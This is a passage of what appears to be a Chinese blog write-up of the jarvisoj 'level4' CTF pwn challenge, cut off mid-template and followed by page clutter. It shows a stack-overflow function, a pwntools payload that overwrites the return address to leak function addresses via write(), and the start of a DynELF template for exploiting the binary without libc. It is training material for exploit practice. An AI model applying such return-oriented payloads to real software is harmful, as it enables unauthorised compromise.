pwn学习-jarvisoj-level4-无libc的漏洞利用

这题下载文件下来,文件与level3反编译后伪代码基本一样,只是相比level3少了一个libc文件。level3

vulnerable_function()中存在明显的栈溢出,分配了0x88的空间,能输入0x100的内容。

ssize_t vulnerable_function()
{
   
  char buf; // [esp+0h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

同样以payload payload = 'a' * 0x8c + p32(elf.symbols['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) + p32(address) + p32(4) 可以泄露出函数的地址,但是在这没有现成的libc文件给我们利用来查找system函数的地址。

查阅资料后,这里可以用到pwntools的DynELF模块来应对无libc情况,具体可见【技术分享】借助DynELF实现无libc的漏洞利用小结

DynELF的基本利用模板为:

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx"</
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值